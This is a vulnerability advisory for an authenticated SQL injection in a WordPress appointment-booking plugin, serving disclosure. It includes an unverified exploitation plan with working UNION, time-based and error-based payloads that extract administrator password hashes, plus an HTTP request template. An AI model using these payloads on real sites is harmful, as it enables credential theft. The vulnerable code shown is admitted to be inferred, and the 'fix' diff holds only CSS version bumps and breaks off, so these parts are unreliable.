CVE-2026-13454

MotoPress Appointment Booking <= 2.4.5 - Authenticated (Staff+) SQL Injection via 's' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
2.4.6
Patched in
1d
Time to patch

Description

The MotoPress Appointment Booking plugin for WordPress is vulnerable to generic SQL Injection via the 's' parameter in all versions up to, and including, 2.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with custom-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires the mpa_appointment_employee custom role, meaning any user assigned this role can perform the attack.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.4.5
PublishedJune 30, 2026
Last updatedJuly 1, 2026

What Changed in the Fix

Changes introduced in v2.4.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical analysis and exploitation methodology for **CVE-2026-13454**, a SQL Injection vulnerability in the MotoPress Appointment Booking plugin. --- ### 1. Vulnerability Summary The MotoPress Appointment Booking plugin (versions <= 2.4.5) contains an authenticated…

Show full research plan

This research plan outlines the technical analysis and exploitation methodology for CVE-2026-13454, a SQL Injection vulnerability in the MotoPress Appointment Booking plugin.


1. Vulnerability Summary

The MotoPress Appointment Booking plugin (versions <= 2.4.5) contains an authenticated SQL injection vulnerability within its administrative search functionality. The vulnerability resides in the handling of the s (search) parameter. The plugin fails to properly escape this parameter before incorporating it into a raw SQL query or uses $wpdb->prepare() incorrectly, allowing users with the mpa_appointment_employee (Staff) role or higher to inject arbitrary SQL commands and extract sensitive data from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php (for AJAX-based list tables) or /wp-admin/admin.php?page=... (for standard list tables).
  • Vulnerable Parameter: s (standard WordPress search parameter).
  • Authentication Required: Authenticated user with the mpa_appointment_employee role or any role with access to the Appointments/Customers/Employees management pages.
  • Preconditions:
    • The plugin must be active.
    • The attacker must have a valid session with a user possessing the mpa_appointment_employee role.
    • At least one record (Customer, Booking, or Employee) should exist to ensure the query executes and returns results.

3. Code Flow (Inferred)

  1. Entry Point: An authenticated user accesses a list page (e.g., Customers) and submits a search query via the s parameter.
  2. Request Handling: The request is processed by a class responsible for displaying entity tables, likely a subclass of WP_List_Table or a custom AJAX handler (e.g., MPA\Admin\ListTables\CustomersListTable - inferred).
  3. Query Construction: The code retrieves the search term: $search_term = $_REQUEST['s'];.
  4. SQL Sink: The $search_term is concatenated directly into a SQL string:
    // Example of vulnerable pattern
    $query = "SELECT * FROM {$wpdb->prefix}mpa_customers WHERE first_name LIKE '%" . $search_term . "%'";
    $results = $wpdb->get_results($query);
    
  5. Execution: The $wpdb->get_results() call executes the malicious payload.

4. Nonce Acquisition Strategy

While the s parameter in standard WordPress search boxes often doesn't require a nonce for the query itself, the administrative pages containing these search boxes are protected by WordPress authentication. If the search is performed via AJAX, a nonce is likely required.

Steps to obtain the nonce:

  1. Identify Shortcode/Page: The "Customers" or "Appointments" admin pages are the most likely targets.
  2. Navigate to Admin Page: Use the browser_navigate tool to access the MotoPress Appointment "Customers" page (e.g., /wp-admin/admin.php?page=mpa-customers).
  3. Extract Nonce: MotoPress plugins typically localize script data. Look for a global JavaScript object containing nonces.
    • Inferred Variable Name: mpa_admin_data or mpa_settings.
    • Inferred Nonce Key: nonce or ajax_nonce.
    • Command: browser_eval("window.mpa_admin_data?.nonce")
  4. Bypass Check: If wp_verify_nonce($nonce, -1) is used (default action), any valid nonce obtained from the admin dashboard may suffice.

5. Exploitation Strategy

We will use a UNION-based approach to extract the administrator's password hash.

Step 1: Determine Column Count
Submit payloads to find the number of columns in the original query's SELECT statement.

  • Request: POST /wp-admin/admin-ajax.php
  • Body: action=mpa_get_customers&s=test' ORDER BY 1-- -&nonce=[NONCE]
  • Increment the number until an error occurs (e.g., ORDER BY 10).

Step 2: Identify Output Columns
Use UNION SELECT with identifiable strings to see which columns are rendered in the HTML table or JSON response.

  • Payload: s=test' UNION SELECT 'col1','col2','col3','col4','col5'-- -

Step 3: Data Extraction (Admin Hash)
Once the reflected column is found (e.g., column 2), extract the admin hash.

  • Payload: s=test' UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -

HTTP Request Template (via http_request):

{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "[STAFF_USER_COOKIES]"
  },
  "params": {
    "action": "mpa_get_customers",
    "s": "x' UNION SELECT 1,CONCAT(0x7e,user_login,0x3a,user_pass,0x7e),3,4,5 FROM wp_users-- -",
    "nonce": "[NONCE]"
  }
}

6. Test Data Setup

  1. Create Staff User:
    wp role create mpa_appointment_employee "Appointment Employee"
    wp user create staff staff@example.com --role=mpa_appointment_employee --user_pass=password123
    
    Note: The plugin usually creates this role automatically; if not, assign standard "Contributor" or "Author" and verify permissions.
  2. Add Sample Data:
    Ensure at least one customer exists so the list table isn't empty.
    # (Example using wp-cli to insert directly if plugin tables are known)
    # wp db query "INSERT INTO wp_mpa_customers (first_name, last_name) VALUES ('Test', 'User');"
    

7. Expected Results

  • Success: The response (JSON or HTML) will contain the leaked data (e.g., ~admin:$P$B...~) instead of a customer name.
  • Failure: The response returns a standard "No items found" message or a database error if the column count is mismatched.

8. Verification Steps

After the HTTP request, verify the leaked data matches the database:

  1. Retrieve Actual Hash:
    wp user get 1 --field=user_pass
    
  2. Compare: Match the hash obtained via SQL injection with the output of the wp user get command.

9. Alternative Approaches

  • Time-Based Blind SQLi: If the results of the UNION are not reflected in the UI, use SLEEP() to extract data bit-by-bit.
    • Payload: s=test' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Error-Based SQLi: If WP_DEBUG is enabled, use updatexml() or extractvalue() to force the hash into the error message.
    • Payload: s=test' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1)),1)-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The MotoPress Appointment Booking plugin (<= 2.4.5) is vulnerable to authenticated SQL Injection via the 's' search parameter in administrative list tables. This allows attackers with the 'mpa_appointment_employee' (Staff) role to execute arbitrary SQL queries and extract sensitive information like administrator password hashes from the database.

Vulnerable Code

// Inferred from Research Plan; likely located in MPA\Admin\ListTables\CustomersListTable
$search_term = $_REQUEST['s'];

// Example of vulnerable pattern
$query = "SELECT * FROM {$wpdb->prefix}mpa_customers WHERE first_name LIKE '%" . $search_term . "%'";
$results = $wpdb->get_results($query);

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/admin.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/admin.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/admin.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/admin.css	2026-06-30 15:16:08.000000000 +0000
@@ -15,7 +15,7 @@
   left: 0;
   width: 100%;
   height: 100%;
-  background: no-repeat center url("../images/loading.gif?ver=2.4.5"), rgba(255, 255, 255, 0.5);
+  background: no-repeat center url("../images/loading.gif?ver=2.4.6"), rgba(255, 255, 255, 0.5);
   background-size: 32px 32px;
   z-index: 9000;
 }
@@ -58,7 +58,7 @@
   display: inline-block;
   width: 20px;
   height: 20px;
-  background: no-repeat center url("../images/preloader.gif?ver=2.4.5");
+  background: no-repeat center url("../images/preloader.gif?ver=2.4.6");
 }
 
 .mpa-table th {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/admin.min.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/admin.min.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/admin.min.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/admin.min.css	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.5"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url("../images/preloader.gif?ver=2.4.5")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-page-top-menu{display:flex;flex-wrap:wrap}.mpa-page-top-menu .mpa-page-top-menu_button{display:flex !important;align-items:center !important;margin-right:5px !important}.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags.png")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags@2x.png")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}#shortcodes-wrap table .column-default{width:10%}.mpa-extensions{display:flex;flex-flow:row wrap;max-width:1640px}.mpa-extensions .mpa-extension{background:#fff;border:1px solid #ddd;margin:0 20px 20px 0;max-width:300px;display:flex;flex-direction:column}.mpa-extensions .mpa-extension .mpa-extension-content{display:flex;flex-direction:column;flex:1 0 auto;align-items:flex-start;padding:2em;height:auto}.mpa-extensions .mpa-extension .mpa-extension-title{font-size:14px}.mpa-extensions .mpa-extension .mpa-extension-title a{text-decoration:none}.mpa-extensions .mpa-extension .mpa-extension-title,.mpa-extensions .mpa-extension .mpa-extension-excerpt{margin-top:0}.mpa-extensions .mpa-extension .mpa-extension-thumbnail{max-width:100%;max-height:220px;width:100%;object-fit:cover;object-position:top}.mpa-extensions .mpa-extension .mpa-extension-link{margin-top:auto}.appointments_page_mpa_customers .wp-list-table.customers .column-bookings{width:100px}.appointments_page_mpa_customers .wp-list-table.customers .column-phone,.appointments_page_mpa_customers .wp-list-table.customers .column-date_registered,.appointments_page_mpa_customers .wp-list-table.customers .column-last_active{width:150px}
\ No newline at end of file
+.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.6"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url("../images/preloader.gif?ver=2.4.6")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-page-top-menu{display:flex;flex-wrap:wrap}.mpa-page-top-menu .mpa-page-top-menu_button{display:flex !important;align-items:center !important;margin-right:5px !important}.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags.png")}@media(-webkit-min-device-pixel-ratio: 2),(min-resolution: 192dpi){.iti__flag{background-image:url("../js/intl-tel-input-17.0.19/img/flags@2x.png")}}.mpa-checkout-form .iti{width:100%}.mpa-phone-number--invalid{border-color:red;color:red}.mpa-phone-field-error{color:red;margin:5px 0;display:inline-block}.wp-admin .mpa-phone-number--invalid{border:1px solid red;color:red}#shortcodes-wrap table .column-default{width:10%}.mpa-extensions{display:flex;flex-flow:row wrap;max-width:1640px}.mpa-extensions .mpa-extension{background:#fff;border:1px solid #ddd;margin:0 20px 20px 0;max-width:300px;display:flex;flex-direction:column}.mpa-extensions .mpa-extension .mpa-extension-content{display:flex;flex-direction:column;flex:1 0 auto;align-items:flex-start;padding:2em;height:auto}.mpa-extensions .mpa-extension .mpa-extension-title{font-size:14px}.mpa-extensions .mpa-extension .mpa-extension-title a{text-decoration:none}.mpa-extensions .mpa-extension .mpa-extension-title,.mpa-extensions .mpa-extension .mpa-extension-excerpt{margin-top:0}.mpa-extensions .mpa-extension .mpa-extension-thumbnail{max-width:100%;max-height:220px;width:100%;object-fit:cover;object-position:top}.mpa-extensions .mpa-extension .mpa-extension-link{margin-top:auto}.appointments_page_mpa_customers .wp-list-table.customers .column-bookings{width:100px}.appointments_page_mpa_customers .wp-list-table.customers .column-phone,.appointments_page_mpa_customers .wp-list-table.customers .column-date_registered,.appointments_page_mpa_customers .wp-list-table.customers .column-last_active{width:150px}
\ No newline at end of file
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/edit-category.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/edit-category.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/edit-category.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/edit-category.css	2026-06-30 15:16:08.000000000 +0000
@@ -15,7 +15,7 @@
   left: 0;
   width: 100%;
   height: 100%;
-  background: no-repeat center url("../images/loading.gif?ver=2.4.5"), rgba(255, 255, 255, 0.5);
+  background: no-repeat center url("../images/loading.gif?ver=2.4.6"), rgba(255, 255, 255, 0.5);
   background-size: 32px 32px;
   z-index: 9000;
 }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/edit-category.min.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/edit-category.min.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/edit-category.min.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/edit-category.min.css	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.5"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-media-ctrl img{max-width:100%;cursor:pointer}.mpa-media-ctrl img.single-image-control{max-width:300px}
\ No newline at end of file
+.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.6"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-media-ctrl img{max-width:100%;cursor:pointer}.mpa-media-ctrl img.single-image-control{max-width:300px}
\ No newline at end of file
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/edit-post.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/edit-post.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/edit-post.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/edit-post.css	2026-06-30 15:16:08.000000000 +0000
@@ -38,7 +38,7 @@
   left: 0;
   width: 100%;
   height: 100%;
-  background: no-repeat center url("../images/loading.gif?ver=2.4.5"), rgba(255, 255, 255, 0.5);
+  background: no-repeat center url("../images/loading.gif?ver=2.4.6"), rgba(255, 255, 255, 0.5);
   background-size: 32px 32px;
   z-index: 9000;
 }
@@ -81,7 +81,7 @@
   display: inline-block;
   width: 20px;
   height: 20px;
-  background: no-repeat center url("../images/preloader.gif?ver=2.4.5");
+  background: no-repeat center url("../images/preloader.gif?ver=2.4.6");
 }
 
 .mpa-table th {
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/edit-post.min.css /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/edit-post.min.css
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/assets/css/edit-post.min.css	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/assets/css/edit-post.min.css	2026-06-30 15:16:08.000000000 +0000
@@ -1 +1 @@
-.wp-core-ui .icon-button{display:flex;align-items:center;padding:5px}.wrap h2.wp-heading-inline{display:inline-block;margin-right:5px;margin-bottom:.25em}.wrap h2.wp-heading-inline+.page-title-action{top:-1px}#poststuff h2.mpa-fields-group-title{font-size:1.3em;line-height:1.3;font-weight:600;margin:1em 0;padding:0}.mpa-hide{display:none !important}.mpa-error{color:#e25950;font-weight:bold;font-style:italic}.mpa-loading{display:block;position:absolute;top:0;left:0;width:100%;height:100%;background:no-repeat center url("../images/loading.gif?ver=2.4.5"),rgba(255,255,255,.5);background-size:32px 32px;z-index:9000}.mpa-loaded>.mpa-loading{display:none}.mpa-table-centered td,.mpa-table-centered th{text-align:center}.mpa-table-centered .no-items td,.mpa-table-centered .no-items th{text-align:left}table.fitwidth{table-layout:auto}th.fitwidth,td.fitwidth{width:1%;white-space:nowrap}.mpa-description{font-style:italic}.mpa-small-description{font-size:75%}.center-text{text-align:center}.mpa-preloader{display:inline-block;width:20px;height:20px;background:no-repeat center url("../images/preloader.gif?ver=2.4.5")}.mpa-table th{padding-left:10px;vertical-align:middle}.mpa-deprecated{opacity:.5}.mpa-deprecated strong{color:darkred;cursor:help}.mpa_tooltip{position:relative;display:inline-block}.mpa_tooltip:hover:after{content:attr(data-tooltip);position:absolute;bottom:calc(100% + 5px);left:0;font-size:10px;white-space:nowrap;background:#333;color:#fff;padding:3px 6px;border-radius:2px;z-index:9999;pointer-events:none;opacity:0;transition:opacity .1s;visibility:hidden}.mpa_tooltip:hover:before{content:"";position:absolute;bottom:100%;left:50%;transform:translateX(-50%) translateY(5px);border-width:5px;border-style:solid;border-color:#333 rgba(0,0,0,0) rgba(0,0,0,0) rgba(0,0,0,0);z-index:9999;pointer-events:none}.mpa_tooltip:hover:after,.mpa_tooltip:hover:before{opacity:1;visibility:visible}.mpa-dropdown{position:relative}.mpa-dropdown.page-title-dropdown{display:inline-block;position:relative;top:-8px;margin-left:0;font-weight:600;font-size:13px;line-height:normal}.mpa-dropdown .dropdown-toggle{min-height:28px;line-height:normal}.mpa-dropdown .dropdown-toggle::after{content:"";display:inline-block;width:0;height:0;margin-left:.35em;vertical-align:.15em;border-top:.45em solid;border-right:.35em solid rgba(0,0,0,0);border-bottom:0;border-left:.35em solid rgba(0,0,0,0)}.mpa-dropdown .dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:10rem;padding:.5rem 0;margin:.125rem 0 0;text-align:left;list-style:none;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,.15);border-radius:.25rem}.mpa-dropdown .dropdown-menu.show{display:block}.mpa-dropdown .dropdown-item{display:block;box-sizing:border-box;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;text-align:inherit;text-decoration:none;white-space:nowrap;background-color:rgba(0,0,0,0);border:0}.mpa-dropdown .dropdown-item:hover{background-color:#f8f9fa}.mpa-attributes-ctrl table .column-actions{width:5%}.mpa-attributes-ctrl .mpa-remove-button{cursor:pointer}.mpa-custom-workdays-ctrl table .column-actions{width:20%;text-align:center}.mpa-days-off-ctrl table .column-actions{width:20%;text-align:center}.mpa-edit-reservations-ctrl{display:flex;flex-wrap:wrap;position:relative}.mpa-edit-reservations-ctrl:not(.mpa-loaded),.mpa-edit-reservations-ctrl .mpa-booking-step:not(.mpa-loaded){min-height:52px;position:relative}.mpa-edit-reservations-ctrl label,.mpa-edit-reservations-ctrl select,.mpa-edit-reservations-ctrl input[type=text],.mpa-edit-reservations-ctrl input[type=email],.mpa-edit-reservations-ctrl input[type=tel]{width:100%}.mpa-edit-reservations-ctrl select,.mpa-edit-reservations-ctrl input[type=text],.mpa-edit-reservations-ctrl input[type=email],.mpa-edit-reservations-ctrl input[type=tel]{display:block}.mpa-edit-reservations-ctrl .mpa-message{width:100%}.mpa-edit-reservations-ctrl .mpa-actions{margin-top:1.5em}.mpa-edit-reservations-ctrl .mpa-booking-step{width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step{width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step .mpa-actions{margin-top:1em}.mpa-edit-reservations-ctrl .mpa-booking-step-service-form{max-width:100%}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-service-form{width:50%}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container{display:flex;flex-wrap:wrap;margin:0 -10px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container{flex-wrap:nowrap}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{width:auto}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-input-container .mpa-input-wrapper{padding:0 10px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:20px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper{margin-bottom:0}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-date-wrapper:not(.mpa-loaded){position:relative}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar{margin:0 0 0 1px;top:0;box-shadow:1px 0 0 #e6e6e6,-1px 0 0 #e6e6e6,0 1px 0 #e6e6e6,0 -1px 0 #e6e6e6,0 0 0 rgba(0,0,0,.08)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .prevMonthDay.flatpickr-disabled,.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .nextMonthDay.flatpickr-disabled{opacity:0;cursor:default}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .cur-month,.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-calendar .flatpickr-current-month .numInputWrapper{pointer-events:none}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-days,.mpa-edit-reservations-ctrl .mpa-booking-step-period .dayContainer{width:100%;max-width:100%;min-width:100%}.mpa-edit-reservations-ctrl .mpa-booking-step-period .flatpickr-day{max-width:39px;height:39px;line-height:39px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper{display:flex;flex-wrap:wrap;justify-content:center}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper{flex:1 0 auto}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times-container{position:relative;width:100%;height:100%}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times{overflow:auto;max-height:400px}@media screen and (min-width: 992px){.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-times{position:absolute;top:0;bottom:0;left:0;right:0;max-height:100%}}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-time-period{width:calc(100% - 10px);margin:0 5px 10px;padding:10px 5px}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-two-columns .mpa-time-period{width:calc(50% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-three-columns .mpa-time-period{width:calc(33.3333333333% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-four-columns .mpa-time-period{width:calc(25% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-five-columns .mpa-time-period{width:calc(20% - 10px)}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-period-end-time{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-time-wrapper .mpa-show-end-time .mpa-period-end-time{display:inline}.mpa-edit-reservations-ctrl .mpa-booking-step-period .mpa-slot-capacity{display:block}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .mpa-cart-item-template{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .column-actions{width:25px}.mpa-edit-reservations-ctrl .mpa-booking-step-cart .column-actions .dashicons{cursor:pointer}.mpa-edit-reservations-ctrl .mpa-booking-step-cart.editable .mpa-reservation-clients-count{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart.editable .mpa-actions .mpa-button-edit{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .column-actions{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .mpa-reservation-clients select{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.editable) .mpa-button-new{display:none}.mpa-edit-reservations-ctrl .mpa-booking-step-cart:not(.mpa-loaded){position:relative}.mpa-payment-details-ctrl .mpa-payments{width:100%;border-collapse:collapse}@media screen and (min-width: 768px){.mpa-payment-details-ctrl .mpa-payments{max-width:47em}}.mpa-payment-details-ctrl .mpa-payments th{font-weight:500}.mpa-payment-details-ctrl .mpa-payments td,.mpa-payment-details-ctrl .mpa-payments th{padding:.85em;border:1px solid #d1d1d1;border-collapse:collapse;border-spacing:0;text-align:left}.mpa-payment-details-ctrl .mpa-payments td:last-child,.mpa-payment-details-ctrl .mpa-payments th:last-child{text-align:right}.mpa-payment-details-ctrl .mpa-payments td:only-child,.mpa-payment-details-ctrl .mpa-payments th:only-child{text-align:left}.mpa-payment-details-ctrl .mpa-add-payment-button{margin-top:1em}.mpa-service-variations-ctrl table .column-actions{width:5%}.mpa-service-variations-ctrl .mpa-remove-button{cursor:pointer}.mpa-timetable-ctrl .mpa-days-container{width:100%;display:flex}.mpa-timetable-ctrl .mpa-days-container .mpa-day-container{width:14.2857142857%;padding:1px}.mpa-timetable-ctrl .mpa-days-container .mpa-day-container .mpa-day-header{padding:10px;margin:0 0 2px;font-size:1.2em;line-height:1.5em;font-weight:bold;text-align:center;background-color:#faebd7}.mpa-timetable-ctrl .mpa-day-periods{padding:0;vertical-align:top}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period{padding:10px;margin-bottom:2px;background-color:#f0f8ff}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-remove-button{float:right;cursor:pointer;opacity:0}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period:hover .mpa-remove-button{opacity:1}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-activity,.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-location{display:inline-block;font-style:italic}.mpa-timetable-ctrl .mpa-day-periods .mpa-day-period .mpa-period-location a{display:inline-block}.mpa-timetable-ctrl .mpa-controls .button{margin-right:8px}.mpa-timetable-ctrl .mpa-edit-table.mpa-hide+.mpa-controls .mpa-cancel-button{display:none}.mpa-employee-user-ctrl input{margin:5px 0;padding:6px 8px;border-radius:4px;border:1px solid #888}.mpa-color-picker-ctrl .sp-replacer{padding:0}.mpa-color-picker-ctrl .sp-replacer .sp-preview{border:none;margin:auto}.mpa-color-picker-ctrl .sp-replacer .sp-dd{height:auto}.mpa-color-picker-ctrl .sp-container{border:none}.mpa-color-picker-ctrl .sp-container .sp-picker-container,.mpa-color-picker-ctrl 